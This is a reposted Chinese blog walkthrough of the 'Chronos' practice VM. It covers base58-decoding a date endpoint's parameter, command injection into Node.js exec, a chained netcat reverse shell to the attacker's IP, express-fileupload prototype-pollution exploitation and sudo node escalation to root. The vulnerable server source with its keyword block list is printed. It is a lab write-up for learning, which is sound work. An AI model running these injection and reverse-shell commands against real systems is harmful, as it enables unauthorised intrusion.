ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

打靶第三周-chronos

2021-12-05 23:03:18  阅读:237  来源: 互联网

标签:const 查看 app express 第三周 打靶 chronos concat


打靶第三周-chronos

靶机地址

chronos

目标

2个flag+root权限

攻击手段

  • 端口扫描
  • WEB侦查
  • 命令注入
  • 数据编解码
  • 搜索大法
  • 框架漏洞利用
  • 代码审计
  • NC串联
  • 本地提权

所用工具

新工具: netdiscover

开始攻击

主机发现

使用netdiscover进行主机发现
在这里插入图片描述
在这里插入图片描述
查看具体端口所提供的服务
在这里插入图片描述
可发现8000端口使用了node.js和Express framework框架

访问http

在这里插入图片描述
查看源码
在这里插入图片描述
可看到一串被处理过的js脚本
在这里插入图片描述

解密脚本

使用在线工具:

CyberChef

在这里插入图片描述

使用js美化

在这里插入图片描述

修改域名指向

注意到美化后有一个未加密的域名

http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL

由扫端口时发现靶机开启了8000端口,猜测靶机的域名就是chronos.local,在页面加载时会去读取8000端口的内容。这样去/etc/hosts添加dns解析
在这里插入图片描述
在访问192.168.168.15页面改变
在这里插入图片描述

分析流量

使用bp抓包
在这里插入图片描述
查看数据包发现返回的是时间,猜测有可能命令执行,于是解密format后的值,使用CyberChef的magic模块。(magic模块是在我们不确定加密方式时自动帮我们分析字符串有可能的加密方式)


可知是用base58编码
解码出来为+Today is %A, %B %d, %Y %H:%M:%S.
由%A, %B %d, %Y %H:%M:%S.的输出格式与linux中的date命令的输出格式很像
在这里插入图片描述
当使用date '+Today is %A, %B %d, %Y %H:%M:%S.'格式时会按照定义的格式输出
在这里插入图片描述
猜测在服务端执行的就是这个命令。而这个命令是操作系统指令
这样可能存在命令注入

命令注入

方法有:

  1. 用“ ;”链接多个系统命令,顺序执行。
  2. 用“ | ”
  3. 用“ || ”这个符号的意思是当前面的命令执行错误时才执行后面的命令


在这里插入图片描述
当前面正确时后面的命令不会被执行。
这里将http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL改为http://chronos.local:8000/date?format=yZSGA后得到执行
在这里插入图片描述

反弹SHELL

先查看是否有nc``
在这里插入图片描述
在这里插入图片描述
确定有nc,有bash
开启侦听,并尝试反弹
在这里插入图片描述

在这里插入图片描述
出错了,但是有返回
测试-e发现不行
只能使用nc串联了,构造&&nc 192.168.168.13 3333|/bin/bash|nc 192.168.168.13 4444
在这里插入图片描述
在这里插入图片描述
成功!!

查看账号

执行cat /etc/passwd
在这里插入图片描述
发现名为:imera的用户
查看/home
在这里插入图片描述
查看user.txt失败,查看权限,发现只有imera才能读写
在这里插入图片描述

提权

查看内核版本,未找到漏洞
在这里插入图片描述
于是尝试suid提权,无
sudo -l,失败
当无计可施时只能进行大量的信息收集!
思路来源于大量的完善的信息收集

查看文件系统、文件目录

最终发现在根目录有可能有漏洞。

发现漏洞

回到入口,即/opt/chronos,发现语言是node.js
在这里插入图片描述
查看package.json文件
在这里插入图片描述
知道是expressjs
查看app.js

// created by alienum for Penetration Testing
const express = require('express');
const { exec } = require("child_process");
const bs58 = require('bs58');
const app = express();

const port = 8000;

const cors = require('cors');


app.use(cors());

app.get('/', (req,res) =>{
  
    res.sendFile("/var/www/html/index.html"); //访问根路径时,跳转到/var/www/html/index.html处
});

app.get('/date', (req, res) => {

    var agent = req.headers['user-agent'];//访问/date时
    var cmd = 'date ';
    const format = req.query.format;
    const bytes = bs58.decode(format);
    var decoded = bytes.toString();
    var concat = cmd.concat(decoded);
    if (agent === 'Chronos') {
        if (concat.includes('id') || concat.includes('whoami') || concat.includes('python') || concat.includes('nc') || concat.includes('bash') || concat.includes('php') || concat.includes('which') || concat.includes('socat')) {

            res.send("Something went wrong");
        }
        exec(concat, (error, stdout, stderr) => {
            if (error) {
                console.log(`error: ${error.message}`);
                return;
            }
            if (stderr) {
                console.log(`stderr: ${stderr}`);
                return;
            }
            res.send(stdout);
        });
    }
    else{

        res.send("Permission Denied");
    }
})

app.listen(port,() => {

    console.log(`Server running at ${port}`);

})

审计代码后发现没啥问题
但当访问上一级目录时
在这里插入图片描述
发现有chronos-v2目录
在这里插入图片描述
发现是一个新的应用
查看后端backend
在这里插入图片描述
同样看到package.json文件
在这里插入图片描述
知道服务端程序是server.js

const express = require('express');
const fileupload = require("express-fileupload");
const http = require('http')

const app = express();

app.use(fileupload({ parseNested: true }));

app.set('view engine', 'ejs');
app.set('views', "/opt/chronos-v2/frontend/pages");

app.get('/', (req, res) => {
   res.render('index')
});

const server = http.Server(app);
const addr = "127.0.0.1"
const port = 8080;
server.listen(port, addr, () => {
   console.log('Server listening on ' + addr + ' port ' + port);
});

发现该应用只运行在本机的127.0.0.1:8080端口
查找模块漏洞时发现express-fileupload模块
express-fileupload 漏洞
原型链污染
漏洞发现者的博客
查阅后可得到exp

利用漏洞

先在本机制作exp文件
在这里插入图片描述
用python开启http服务
在这里插入图片描述
执行完成
在这里插入图片描述
监听4444,并运行而exp.py
会得到反弹shell
然后发现是imera,再使用sudo -l查看可以root运行,且不需要密码的命令。
在这里插入图片描述
得到node可以。于是尝试用node提权。
在这里插入图片描述
成功得到root权限。并得到imera和root目录下的flag。

总结

等我想想再写

标签:const,查看,app,express,第三周,打靶,chronos,concat
来源: https://blog.csdn.net/wcwdnmdnmd/article/details/120797811

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有